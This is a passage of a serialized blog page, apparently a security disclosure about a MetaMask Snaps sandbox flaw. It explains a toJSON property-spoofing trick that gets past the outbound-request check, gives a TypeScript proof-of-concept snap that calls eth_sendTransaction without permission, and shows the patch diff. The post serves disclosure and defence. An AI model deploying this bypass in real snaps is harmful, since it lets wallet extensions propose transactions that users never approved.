'__proto__'",{"type":19,"tag":168,"props":36781,"children":36782},{"style":399},[36783],{"type":24,"value":21164},{"type":19,"tag":168,"props":36785,"children":36786},{"style":393},[36787],{"type":24,"value":36788}," propKey",{"type":19,"tag":168,"props":36790,"children":36791},{"style":399},[36792],{"type":24,"value":28894},{"type":19,"tag":168,"props":36794,"children":36795},{"style":181},[36796],{"type":24,"value":36797}," 'constructor'",{"type":19,"tag":168,"props":36799,"children":36800},{"style":212},[36801],{"type":24,"value":12250},{"type":19,"tag":168,"props":36803,"children":36804},{"class":170,"line":694},[36805,36809,36814],{"type":19,"tag":168,"props":36806,"children":36807},{"style":419},[36808],{"type":24,"value":13192},{"type":19,"tag":168,"props":36810,"children":36811},{"style":382},[36812],{"type":24,"value":36813}," undefined",{"type":19,"tag":168,"props":36815,"children":36816},{"style":212},[36817],{"type":24,"value":412},{"type":19,"tag":168,"props":36819,"children":36820},{"class":170,"line":707},[36821],{"type":19,"tag":168,"props":36822,"children":36823},{"style":212},[36824],{"type":24,"value":10109},{"type":19,"tag":168,"props":36826,"children":36827},{"class":170,"line":725},[36828,36833,36838],{"type":19,"tag":168,"props":36829,"children":36830},{"style":419},[36831],{"type":24,"value":36832}," return",{"type":19,"tag":168,"props":36834,"children":36835},{"style":393},[36836],{"type":24,"value":36837}," propValue",{"type":19,"tag":168,"props":36839,"children":36840},{"style":212},[36841],{"type":24,"value":412},{"type":19,"tag":168,"props":36843,"children":36844},{"class":170,"line":746},[36845],{"type":19,"tag":168,"props":36846,"children":36847},{"style":212},[36848],{"type":24,"value":36020},{"type":19,"tag":168,"props":36850,"children":36851},{"class":170,"line":755},[36852],{"type":19,"tag":168,"props":36853,"children":36854},{"style":212},[36855],{"type":24,"value":35887},{"type":19,"tag":168,"props":36857,"children":36858},{"class":170,"line":1008},[36859],{"type":19,"tag":168,"props":36860,"children":36861},{"style":212},[36862],{"type":24,"value":32812},{"type":19,"tag":20,"props":36864,"children":36865},{},[36866,36868,36874,36876,36881,36883,36889,36891,36897],{"type":24,"value":36867},"The function performs a ",{"type":19,"tag":27,"props":36869,"children":36871},{"className":36870},[],[36872],{"type":24,"value":36873},"JSON.parse(JSON.stringify(value))",{"type":24,"value":36875}," in the argument sent to ",{"type":19,"tag":27,"props":36877,"children":36879},{"className":36878},[],[36880],{"type":24,"value":36551},{"type":24,"value":36882},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":19,"tag":27,"props":36884,"children":36886},{"className":36885},[],[36887],{"type":24,"value":36888},"toJSON",{"type":24,"value":36890}," function in a legit ",{"type":19,"tag":27,"props":36892,"children":36894},{"className":36893},[],[36895],{"type":24,"value":36896},"snap.request",{"type":24,"value":36898}," argument:",{"type":19,"tag":2869,"props":36900,"children":36901},{},[36902,36907,36912],{"type":19,"tag":47,"props":36903,"children":36904},{},[36905],{"type":24,"value":36906},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":19,"tag":47,"props":36908,"children":36909},{},[36910],{"type":24,"value":36911},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":19,"tag":47,"props":36913,"children":36914},{},[36915],{"type":24,"value":36916},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":19,"tag":20,"props":36918,"children":36919},{},[36920],{"type":24,"value":36921},"The assertion bypass can be useful on two occasions:",{"type":19,"tag":2869,"props":36923,"children":36924},{},[36925,36930],{"type":19,"tag":47,"props":36926,"children":36927},{},[36928],{"type":24,"value":36929},"forward blocked RPC methods",{"type":19,"tag":47,"props":36931,"children":36932},{},[36933,36935,36940,36942,36948,36950,36955],{"type":24,"value":36934},"Making requests in ",{"type":19,"tag":27,"props":36936,"children":36938},{"className":36937},[],[36939],{"type":24,"value":36896},{"type":24,"value":36941}," that were only supposed to be done within ",{"type":19,"tag":27,"props":36943,"children":36945},{"className":36944},[],[36946],{"type":24,"value":36947},"ethereum.request",{"type":24,"value":36949}," (with ",{"type":19,"tag":27,"props":36951,"children":36953},{"className":36952},[],[36954],{"type":24,"value":36124},{"type":24,"value":36956}," enabled).",{"type":19,"tag":20,"props":36958,"children":36959},{},[36960],{"type":24,"value":36961},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":19,"tag":7050,"props":36963,"children":36964},{"id":3095},[36965],{"type":24,"value":3098},{"type":19,"tag":20,"props":36967,"children":36968},{},[36969],{"type":24,"value":36970},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":19,"tag":20,"props":36972,"children":36973},{},[36974],{"type":19,"tag":1344,"props":36975,"children":36977},{"alt":7,"src":36976},"/posts/metamask-snaps/note.png",[],{"type":19,"tag":7050,"props":36979,"children":36981},{"id":36980},"proof-of-concept",[36982],{"type":24,"value":32303},{"type":19,"tag":20,"props":36984,"children":36985},{},[36986,36988,36993,36995,37000,37002,37008],{"type":24,"value":36987},"To demonstrate the issue, we created a snap without the ",{"type":19,"tag":27,"props":36989,"children":36991},{"className":36990},[],[36992],{"type":24,"value":36124},{"type":24,"value":36994}," permission, and used the ",{"type":19,"tag":27,"props":36996,"children":36998},{"className":36997},[],[36999],{"type":24,"value":35653},{"type":24,"value":37001}," interface to call ",{"type":19,"tag":27,"props":37003,"children":37005},{"className":37004},[],[37006],{"type":24,"value":37007},"eth_sendTransaction",{"type":24,"value":37009},". According to the documentation, this shouldn't be possible:",{"type":19,"tag":158,"props":37011,"children":37013},{"className":33088,"code":37012,"language":33090,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n }\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n }\n};\n",[37014],{"type":19,"tag":27,"props":37015,"children":37016},{"__ignoreMap":7},[37017,37050,37057,37064,37081,37110,37117,37142,37149,37181,37192,37209,37222,37229,37236,37243,37275,37282,37289,37296,37312,37339,37346,37369,37376,37407,37418,37434,37446,37467,37482,37499,37507,37514,37521,37528,37559,37566,37573,37633,37640,37668,37685,37700,37716,37731,37743,37773,37780],{"type":19,"tag":168,"props":37018,"children":37019},{"class":170,"line":171},[37020,37024,37028,37033,37037,37041,37046],{"type":19,"tag":168,"props":37021,"children":37022},{"style":419},[37023],{"type":24,"value":16937},{"type":19,"tag":168,"props":37025,"children":37026},{"style":212},[37027],{"type":24,"value":7027},{"type":19,"tag":168,"props":37029,"children":37030},{"style":393},[37031],{"type":24,"value":37032},"OnRpcRequestHandler",{"type":19,"tag":168,"props":37034,"children":37035},{"style":212},[37036],{"type":24,"value":33677},{"type":19,"tag":168,"props":37038,"children":37039},{"style":419},[37040],{"type":24,"value":16927},{"type":19,"tag":168,"props":37042,"children":37043},{"style":181},[37044],{"type":24,"value":37045}," '@metamask/snaps-types'",{"type":19,"tag":168,"props":37047,"children":37048},{"style":212},[37049],{"type":24,"value":412},{"type":19,"tag":168,"props":37051,"children":37052},{"class":170,"line":198},[37053],{"type":19,"tag":168,"props":37054,"children":37055},{"emptyLinePlaceholder":14},[37056],{"type":24,"value":1093},{"type":19,"tag":168,"props":37058,"children":37059},{"class":170,"line":415},[37060],{"type":19,"tag":168,"props":37061,"children":37062},{"emptyLinePlaceholder":14},[37063],{"type":24,"value":1093},{"type":19,"tag":168,"props":37065,"children":37066},{"class":170,"line":450},[37067,37071,37076],{"type":19,"tag":168,"props":37068,"children":37069},{"style":382},[37070],{"type":24,"value":28849},{"type":19,"tag":168,"props":37072,"children":37073},{"style":175},[37074],{"type":24,"value":37075}," jsonExploit",{"type":19,"tag":168,"props":37077,"children":37078},{"style":212},[37079],{"type":24,"value":37080},"(){\n",{"type":19,"tag":168,"props":37082,"children":37083},{"class":170,"line":560},[37084,37088,37092,37096,37101,37105],{"type":19,"tag":168,"props":37085,"children":37086},{"style":382},[37087],{"type":24,"value":5292},{"type":19,"tag":168,"props":37089,"children":37090},{"style":393},[37091],{"type":24,"value":16518},{"type":19,"tag":168,"props":37093,"children":37094},{"style":399},[37095],{"type":24,"value":402},{"type":19,"tag":168,"props":37097,"children":37098},{"style":212},[37099],{"type":24,"value":37100}," [] ",{"type":19,"tag":168,"props":37102,"children":37103},{"style":419},[37104],{"type":24,"value":6280},{"type":19,"tag":168,"props":37106,"children":37107},{"style":825},[37108],{"type":24,"value":37109}," any\n",{"type":19,"tag":168,"props":37111,"children":37112},{"class":170,"line":666},[37113],{"type":19,"tag":168,"props":37114,"children":37115},{"emptyLinePlaceholder":14},[37116],{"type":24,"value":1093},{"type":19,"tag":168,"props":37118,"children":37119},{"class":170,"line":694},[37120,37125,37129,37133,37137],{"type":19,"tag":168,"props":37121,"children":37122},{"style":393},[37123],{"type":24,"value":37124}," x",{"type":19,"tag":168,"props":37126,"children":37127},{"style":212},[37128],{"type":24,"value":948},{"type":19,"tag":168,"props":37130,"children":37131},{"style":393},[37132],{"type":24,"value":35788},{"type":19,"tag":168,"props":37134,"children":37135},{"style":399},[37136],{"type":24,"value":402},{"type":19,"tag":168,"props":37138,"children":37139},{"style":181},[37140],{"type":24,"value":37141}," \"snap_dialog\"\n",{"type":19,"tag":168,"props":37143,"children":37144},{"class":170,"line":707},[37145],{"type":19,"tag":168,"props":37146,"children":37147},{"emptyLinePlaceholder":14},[37148],{"type":24,"value":1093},{"type":19,"tag":168,"props":37150,"children":37151},{"class":170,"line":725},[37152,37156,37160,37164,37168,37173,37177],{"type":19,"tag":168,"props":37153,"children":37154},{"style":393},[37155],{"type":24,"value":37124},{"type":19,"tag":168,"props":37157,"children":37158},{"style":212},[37159],{"type":24,"value":948},{"type":19,"tag":168,"props":37161,"children":37162},{"style":175},[37163],{"type":24,"value":36888},{"type":19,"tag":168,"props":37165,"children":37166},{"style":399},[37167],{"type":24,"value":402},{"type":19,"tag":168,"props":37169,"children":37170},{"style":212},[37171],{"type":24,"value":37172}," () ",{"type":19,"tag":168,"props":37174,"children":37175},{"style":382},[37176],{"type":24,"value":12268},{"type":19,"tag":168,"props":37178,"children":37179},{"style":212},[37180],{"type":24,"value":691},{"type":19,"tag":168,"props":37182,"children":37183},{"class":170,"line":746},[37184,37188],{"type":19,"tag":168,"props":37185,"children":37186},{"style":419},[37187],{"type":24,"value":14438},{"type":19,"tag":168,"props":37189,"children":37190},{"style":212},[37191],{"type":24,"value":691},{"type":19,"tag":168,"props":37193,"children":37194},{"class":170,"line":755},[37195,37200,37205],{"type":19,"tag":168,"props":37196,"children":37197},{"style":393},[37198],{"type":24,"value":37199}," method:",{"type":19,"tag":168,"props":37201,"children":37202},{"style":181},[37203],{"type":24,"value":37204}," \"eth_requestAccounts\"",{"type":19,"tag":168,"props":37206,"children":37207},{"style":212},[37208],{"type":24,"value":915},{"type":19,"tag":168,"props":37210,"children":37211},{"class":170,"line":1008},[37212,37217],{"type":19,"tag":168,"props":37213,"children":37214},{"style":393},[37215],{"type":24,"value":37216}," params:",{"type":19,"tag":168,"props":37218,"children":37219},{"style":212},[37220],{"type":24,"value":37221}," []\n",{"type":19,"tag":168,"props":37223,"children":37224},{"class":170,"line":1025},[37225],{"type":19,"tag":168,"props":37226,"children":37227},{"style":212},[37228],{"type":24,"value":761},{"type":19,"tag":168,"props":37230,"children":37231},{"class":170,"line":1042},[37232],{"type":19,"tag":168,"props":37233,"children":37234},{"style":212},[37235],{"type":24,"value":3306},{"type":19,"tag":168,"props":37237,"children":37238},{"class":170,"line":1055},[37239],{"type":19,"tag":168,"props":37240,"children":37241},{"emptyLinePlaceholder":14},[37242],{"type":24,"value":1093},{"type":19,"tag":168,"props":37244,"children":37245},{"class":170,"line":1064},[37246,37250,37255,37259,37263,37267,37271],{"type":19,"tag":168,"props":37247,"children":37248},{"style":419},[37249],{"type":24,"value":36674},{"type":19,"tag":168,"props":37251,"children":37252},{"style":393},[37253],{"type":24,"value":37254}," snap",{"type":19,"tag":168,"props":37256,"children":37257},{"style":212},[37258],{"type":24,"value":948},{"type":19,"tag":168,"props":37260,"children":37261},{"style":175},[37262],{"type":24,"value":28965},{"type":19,"tag":168,"props":37264,"children":37265},{"style":212},[37266],{"type":24,"value":500},{"type":19,"tag":168,"props":37268,"children":37269},{"style":393},[37270],{"type":24,"value":16729},{"type":19,"tag":168,"props":37272,"children":37273},{"style":212},[37274],{"type":24,"value":557},{"type":19,"tag":168,"props":37276,"children":37277},{"class":170,"line":1087},[37278],{"type":19,"tag":168,"props":37279,"children":37280},{"emptyLinePlaceholder":14},[37281],{"type":24,"value":1093},{"type":19,"tag":168,"props":37283,"children":37284},{"class":170,"line":1096},[37285],{"type":19,"tag":168,"props":37286,"children":37287},{"style":212},[37288],{"type":24,"value":1326},{"type":19,"tag":168,"props":37290,"children":37291},{"class":170,"line":1105},[37292],{"type":19,"tag":168,"props":37293,"children":37294},{"emptyLinePlaceholder":14},[37295],{"type":24,"value":1093},{"type":19,"tag":168,"props":37297,"children":37298},{"class":170,"line":1174},[37299,37303,37308],{"type":19,"tag":168,"props":37300,"children":37301},{"style":382},[37302],{"type":24,"value":28849},{"type":19,"tag":168,"props":37304,"children":37305},{"style":175},[37306],{"type":24,"value":37307}," transactionExploit",{"type":19,"tag":168,"props":37309,"children":37310},{"style":212},[37311],{"type":24,"value":37080},{"type":19,"tag":168,"props":37313,"children":37314},{"class":170,"line":1182},[37315,37319,37323,37327,37331,37335],{"type":19,"tag":168,"props":37316,"children":37317},{"style":382},[37318],{"type":24,"value":5292},{"type":19,"tag":168,"props":37320,"children":37321},{"style":393},[37322],{"type":24,"value":16518},{"type":19,"tag":168,"props":37324,"children":37325},{"style":399},[37326],{"type":24,"value":402},{"type":19,"tag":168,"props":37328,"children":37329},{"style":212},[37330],{"type":24,"value":37100},{"type":19,"tag":168,"props":37332,"children":37333},{"style":419},[37334],{"type":24,"value":6280},{"type":19,"tag":168,"props":37336,"children":37337},{"style":825},[37338],{"type":24,"value":37109},{"type":19,"tag":168,"props":37340,"children":37341},{"class":170,"line":1212},[37342],{"type":19,"tag":168,"props":37343,"children":37344},{"emptyLinePlaceholder":14},[37345],{"type":24,"value":1093},{"type":19,"tag":168,"props":37347,"children":37348},{"class":170,"line":1220},[37349,37353,37357,37361,37365],{"type":19,"tag":168,"props":37350,"children":37351},{"style":393},[37352],{"type":24,"value":37124},{"type":19,"tag":168,"props":37354,"children":37355},{"style":212},[37356],{"type":24,"value":948},{"type":19,"tag":168,"props":37358,"children":37359},{"style":393},[37360],{"type":24,"value":35788},{"type":19,"tag":168,"props":37362,"children":37363},{"style":399},[37364],{"type":24,"value":402},{"type":19,"tag":168,"props":37366,"children":37367},{"style":181},[37368],{"type":24,"value":37141},{"type":19,"tag":168,"props":37370,"children":37371},{"class":170,"line":1252},[37372],{"type":19,"tag":168,"props":37373,"children":37374},{"emptyLinePlaceholder":14},[37375],{"type":24,"value":1093},{"type":19,"tag":168,"props":37377,"children":37378},{"class":170,"line":1260},[37379,37383,37387,37391,37395,37399,37403],{"type":19,"tag":168,"props":37380,"children":37381},{"style":393},[37382],{"type":24,"value":37124},{"type":19,"tag":168,"props":37384,"children":37385},{"style":212},[37386],{"type":24,"value":948},{"type":19,"tag":168,"props":37388,"children":37389},{"style":175},[37390],{"type":24,"value":36888},{"type":19,"tag":168,"props":37392,"children":37393},{"style":399},[37394],{"type":24,"value":402},{"type":19,"tag":168,"props":37396,"children":37397},{"style":212},[37398],{"type":24,"value":37172},{"type":19,"tag":168,"props":37400,"children":37401},{"style":382},[37402],{"type":24,"value":12268},{"type":19,"tag":168,"props":37404,"children":37405},{"style":212},[37406],{"type":24,"value":691},{"type":19,"tag":168,"props":37408,"children":37409},{"class":170,"line":1320},[37410,37414],{"type":19,"tag":168,"props":37411,"children":37412},{"style":419},[37413],{"type":24,"value":14438},{"type":19,"tag":168,"props":37415,"children":37416},{"style":212},[37417],{"type":24,"value":691},{"type":19,"tag":168,"props":37419,"children":37420},{"class":170,"line":6486},[37421,37425,37430],{"type":19,"tag":168,"props":37422,"children":37423},{"style":393},[37424],{"type":24,"value":37199},{"type":19,"tag":168,"props":37426,"children":37427},{"style":181},[37428],{"type":24,"value":37429}," \"eth_sendTransaction\"",{"type":19,"tag":168,"props":37431,"children":37432},{"style":212},[37433],{"type":24,"value":915},{"type":19,"tag":168,"props":37435,"children":37436},{"class":170,"line":6504},[37437,37441],{"type":19,"tag":168,"props":37438,"children":37439},{"style":393},[37440],{"type":24,"value":37216},{"type":19,"tag":168,"props":37442,"children":37443},{"style":212},[37444],{"type":24,"value":37445}," [{\n",{"type":19,"tag":168,"props":37447,"children":37448},{"class":170,"line":6549},[37449,37453,37458,37462],{"type":19,"tag":168,"props":37450,"children":37451},{"style":393},[37452],{"type":24,"value":29537},{"type":19,"tag":168,"props":37454,"children":37455},{"style":181},[37456],{"type":24,"value":37457}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":19,"tag":168,"props":37459,"children":37460},{"style":212},[37461],{"type":24,"value":471},{"type":19,"tag":168,"props":37463,"children":37464},{"style":373},[37465],{"type":24,"value":37466},"// change this to your address\n",{"type":19,"tag":168,"props":37468,"children":37469},{"class":170,"line":6655},[37470,37474,37478],{"type":19,"tag":168,"props":37471,"children":37472},{"style":393},[37473],{"type":24,"value":29553},{"type":19,"tag":168,"props":37475,"children":37476},{"style":181},[37477],{"type":24,"value":37457},{"type":19,"tag":168,"props":37479,"children":37480},{"style":212},[37481],{"type":24,"value":915},{"type":19,"tag":168,"props":37483,"children":37484},{"class":170,"line":20965},[37485,37490,37495],{"type":19,"tag":168,"props":37486,"children":37487},{"style":393},[37488],{"type":24,"value":37489}," value:",{"type":19,"tag":168,"props":37491,"children":37492},{"style":181},[37493],{"type":24,"value":37494}," \"0x1\"",{"type":19,"tag":168,"props":37496,"children":37497},{"style":212},[37498],{"type":24,"value":915},{"type":19,"tag":168,"props":37500,"children":37501},{"class":170,"line":21000},[37502],{"type":19,"tag":168,"props":37503,"children":37504},{"style":212},[37505],{"type":24,"value":37506}," }]\n",{"type":19,"tag":168,"props":37508,"children":37509},{"class":170,"line":21008},[37510],{"type":19,"tag":168,"props":37511,"children":37512},{"style":212},[37513],{"type":24,"value":761},{"type":19,"tag":168,"props":37515,"children":37516},{"class":170,"line":21016},[37517],{"type":19,"tag":168,"props":37518,"children":37519},{"style":212},[37520],{"type":24,"value":3306},{"type":19,"tag":168,"props":37522,"children":37523},{"class":170,"line":21025},[37524],{"type":19,"tag":168,"props":37525,"children":37526},{"emptyLinePlaceholder":14},[37527],{"type":24,"value":1093},{"type":19,"tag":168,"props":37529,"children":37530},{"class":170,"line":21067},[37531,37535,37539,37543,37547,37551,37555],{"type":19,"tag":168,"props":37532,"children":37533},{"style":419},[37534],{"type":24,"value":36674},{"type":19,"tag":168,"props":37536,"children":37537},{"style":393},[37538],{"type":24,"value":37254},{"type":19,"tag":168,"props":37540,"children":37541},{"style":212},[37542],{"type":24,"value":948},{"type":19,"tag":168,"props":37544,"children":37545},{"style":175},[37546],{"type":24,"value":28965},{"type":19,"tag":168,"props":37548,"children":37549},{"style":212},[37550],{"type":24,"value":500},{"type":19,"tag":168,"props":37552,"children":37553},{"style":393},[37554],{"type":24,"value":16729},{"type":19,"tag":168,"props":37556,"children":37557},{"style":212},[37558],{"type":24,"value":1249},{"type":19,"tag":168,"props":37560,"children":37561},{"class":170,"line":21100},[37562],{"type":19,"tag":168,"props":37563,"children":37564},{"style":212},[37565],{"type":24,"value":1326},{"type":19,"tag":168,"props":37567,"children":37568},{"class":170,"line":21108},[37569],{"type":19,"tag":168,"props":37570,"children":37571},{"emptyLinePlaceholder":14},[37572],{"type":24,"value":1093},{"type":19,"tag":168,"props":37574,"children":37575},{"class":170,"line":21116},[37576,37580,37584,37589,37593,37598,37602,37607,37612,37616,37620,37625,37629],{"type":19,"tag":168,"props":37577,"children":37578},{"style":419},[37579],{"type":24,"value":35684},{"type":19,"tag":168,"props":37581,"children":37582},{"style":382},[37583],{"type":24,"value":36586},{"type":19,"tag":168,"props":37585,"children":37586},{"style":175},[37587],{"type":24,"value":37588}," onRpcRequest",{"type":19,"tag":168,"props":37590,"children":37591},{"style":399},[37592],{"type":24,"value":1922},{"type":19,"tag":168,"props":37594,"children":37595},{"style":825},[37596],{"type":24,"value":37597}," OnRpcRequestHandler",{"type":19,"tag":168,"props":37599,"children":37600},{"style":399},[37601],{"type":24,"value":402},{"type":19,"tag":168,"props":37603,"children":37604},{"style":212},[37605],{"type":24,"value":37606}," ({ ",{"type":19,"tag":168,"props":37608,"children":37609},{"style":393},[37610],{"type":24,"value":37611},"origin",{"type":19,"tag":168,"props":37613,"children":37614},{"style":212},[37615],{"type":24,"value":471},{"type":19,"tag":168,"props":37617,"children":37618},{"style":393},[37619],{"type":24,"value":28965},{"type":19,"tag":168,"props":37621,"children":37622},{"style":212},[37623],{"type":24,"value":37624}," }) ",{"type":19,"tag":168,"props":37626,"children":37627},{"style":382},[37628],{"type":24,"value":12268},{"type":19,"tag":168,"props":37630,"children":37631},{"style":212},[37632],{"type":24,"value":691},{"type":19,"tag":168,"props":37634,"children":37635},{"class":170,"line":21125},[37636],{"type":19,"tag":168,"props":37637,"children":37638},{"emptyLinePlaceholder":14},[37639],{"type":24,"value":1093},{"type":19,"tag":168,"props":37641,"children":37642},{"class":170,"line":21201},[37643,37648,37652,37656,37660,37664],{"type":19,"tag":168,"props":37644,"children":37645},{"style":419},[37646],{"type":24,"value":37647}," switch",{"type":19,"tag":168,"props":37649,"children":37650},{"style":212},[37651],{"type":24,"value":461},{"type":19,"tag":168,"props":37653,"children":37654},{"style":393},[37655],{"type":24,"value":28965},{"type":19,"tag":168,"props":37657,"children":37658},{"style":212},[37659],{"type":24,"value":948},{"type":19,"tag":168,"props":37661,"children":37662},{"style":393},[37663],{"type":24,"value":35788},{"type":19,"tag":168,"props":37665,"children":37666},{"style":212},[37667],{"type":24,"value":12250},{"type":19,"tag":168,"props":37669,"children":37670},{"class":170,"line":21234},[37671,37676,37681],{"type":19,"tag":168,"props":37672,"children":37673},{"style":419},[37674],{"type":24,"value":37675}," case",{"type":19,"tag":168,"props":37677,"children":37678},{"style":181},[37679],{"type":24,"value":37680}," 'json'",{"type":19,"tag":168,"props":37682,"children":37683},{"style":212},[37684],{"type":24,"value":3001},{"type":19,"tag":168,"props":37686,"children":37687},{"class":170,"line":21242},[37688,37692,37696],{"type":19,"tag":168,"props":37689,"children":37690},{"style":419},[37691],{"type":24,"value":36832},{"type":19,"tag":168,"props":37693,"children":37694},{"style":175},[37695],{"type":24,"value":37075},{"type":19,"tag":168,"props":37697,"children":37698},{"style":212},[37699],{"type":24,"value":1084},{"type":19,"tag":168,"props":37701,"children":37702},{"class":170,"line":21250},[37703,37707,37712],{"type":19,"tag":168,"props":37704,"children":37705},{"style":419},[37706],{"type":24,"value":37675},{"type":19,"tag":168,"props":37708,"children":37709},{"style":181},[37710],{"type":24,"value":37711}," 'transaction'",{"type":19,"tag":168,"props":37713,"children":37714},{"style":212},[37715],{"type":24,"value":3001},{"type":19,"tag":168,"props":37717,"children":37718},{"class":170,"line":21287},[37719,37723,37727],{"type":19,"tag":168,"props":37720,"children":37721},{"style":419},[37722],{"type":24,"value":36832},{"type":19,"tag":168,"props":37724,"children":37725},{"style":175},[37726],{"type":24,"value":37307},{"type":19,"tag":168,"props":37728,"children":37729},{"style":212},[37730],{"type":24,"value":1084},{"type":19,"tag":168,"props":37732,"children":37733},{"class":170,"line":21300},[37734,37739],{"type":19,"tag":168,"props":37735,"children":37736},{"style":419},[37737],{"type":24,"value":37738}," default",{"type":19,"tag":168,"props":37740,"children":37741},{"style":212},[37742],{"type":24,"value":3001},{"type":19,"tag":168,"props":37744,"children":37745},{"class":170,"line":21313},[37746,37751,37755,37760,37764,37769],{"type":19,"tag":168,"props":37747,"children":37748},{"style":419},[37749],{"type":24,"value":37750}," throw",{"type":19,"tag":168,"props":37752,"children":37753},{"style":382},[37754],{"type":24,"value":29405},{"type":19,"tag":168,"props":37756,"children":37757},{"style":175},[37758],{"type":24,"value":37759}," Error",{"type":19,"tag":168,"props":37761,"children":37762},{"style":212},[37763],{"type":24,"value":500},{"type":19,"tag":168,"props":37765,"children":37766},{"style":181},[37767],{"type":24,"value":37768},"'Method not found.'",{"type":19,"tag":168,"props":37770,"children":37771},{"style":212},[37772],{"type":24,"value":1249},{"type":19,"tag":168,"props":37774,"children":37775},{"class":170,"line":21326},[37776],{"type":19,"tag":168,"props":37777,"children":37778},{"style":212},[37779],{"type":24,"value":3306},{"type":19,"tag":168,"props":37781,"children":37782},{"class":170,"line":21380},[37783],{"type":19,"tag":168,"props":37784,"children":37785},{"style":212},[37786],{"type":24,"value":14026},{"type":19,"tag":20,"props":37788,"children":37789},{},[37790,37792,37798,37800,37805],{"type":24,"value":37791},"We set ",{"type":19,"tag":27,"props":37793,"children":37795},{"className":37794},[],[37796],{"type":24,"value":37797},"x.method = \"snap_dialog\"",{"type":24,"value":37799}," to pass the assertion and setup a toJSON function to change this method to ",{"type":19,"tag":27,"props":37801,"children":37803},{"className":37802},[],[37804],{"type":24,"value":37007},{"type":24,"value":37806}," after.",{"type":19,"tag":7050,"props":37808,"children":37810},{"id":37809},"mitigation",[37811],{"type":24,"value":37812},"Mitigation",{"type":19,"tag":20,"props":37814,"children":37815},{},[37816,37818,37823,37825,37832],{"type":24,"value":37817},"Metamask mitigated this issue by asserting the arguments after the ",{"type":19,"tag":27,"props":37819,"children":37821},{"className":37820},[],[37822],{"type":24,"value":36551},{"type":24,"value":37824}," function execution. The patch was introduced on commit ",{"type":19,"tag":269,"props":37826,"children":37829},{"href":37827,"rel":37828},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[273],[37830],{"type":24,"value":37831},"168ff08",{"type":24,"value":37833}," with the following changes:",{"type":19,"tag":158,"props":37835,"children":37839},{"className":37836,"code":37837,"language":37838,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[37840],{"type":19,"tag":27,"props":37841,"children":37842},{"__ignoreMap":7},[37843,37851,37859,37867,37875],{"type":19,"tag":168,"props":37844,"children":37845},{"class":170,"line":171},[37846],{"type":19,"tag":168,"props":37847,"children":37848},{"style":212},[37849],{"type":24,"value":37850},"const request = async (args: RequestArguments) => {\n",{"type":19,"tag":168,"props":37852,"children":37853},{"class":170,"line":198},[37854],{"type":19,"tag":168,"props":37855,"children":37856},{"style":181},[37857],{"type":24,"value":37858},"- assertEthereumOutboundRequest(args);\n",{"type":19,"tag":168,"props":37860,"children":37861},{"class":170,"line":415},[37862],{"type":19,"tag":168,"props":37863,"children":37864},{"style":181},[37865],{"type":24,"value":37866},"- const sanitizedArgs = getSafeJson(args);\n",{"type":19,"tag":168,"props":37868,"children":37869},{"class":170,"line":450},[37870],{"type":19,"tag":168,"props":37871,"children":37872},{"style":192},[37873],{"type":24,"value":37874},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":19,"tag":168,"props":37876,"children":37877},{"class":170,"line":560},[37878],{"type":19,"tag":168,"props":37879,"children":37880},{"style":192},[37881],{"type":24,"value":37882},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":19,"tag":36,"props":37884,"children":37885},{"id":26402},[37886],{"type":24,"value":16400},{"type":19,"tag":20,"props":37888,"children":37889},{},[37890],{"type":24,"value":37891},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":19,"tag":20,"props":37893,"children":37894},{},[37895],{"type":24,"value":37896},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":19,"tag":232,"props":37898,"children":37899},{},[37900],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":37902},[37903,37904,37911,37919],{"id":16409,"depth":198,"text":16412},{"id":32927,"depth":198,"text":32930,"children":37905},[37906,37907,37908,37909,37910],{"id":32938,"depth":415,"text":32941},{"id":33006,"depth":415,"text":33009},{"id":33042,"depth":415,"text":33045},{"id":34438,"depth":415,"text":34441},{"id":34796,"depth":415,"text":34799},{"id":35583,"depth":198,"text":35586,"children":37912},[37913,37914,37915,37916,37917,37918],{"id":35589,"depth":415,"text":35592},{"id":35633,"depth":415,"text":35636},{"id":36537,"depth":415,"text":36540},{"id":3095,"depth":415,"text":3098},{"id":36980,"depth":415,"text":32303},{"id":37809,"depth":415,"text":37812},{"id":26402,"depth":198,"text":16400},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":37924,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":37925,"description":37926,"author":37927,"image":37929,"date":37931,"i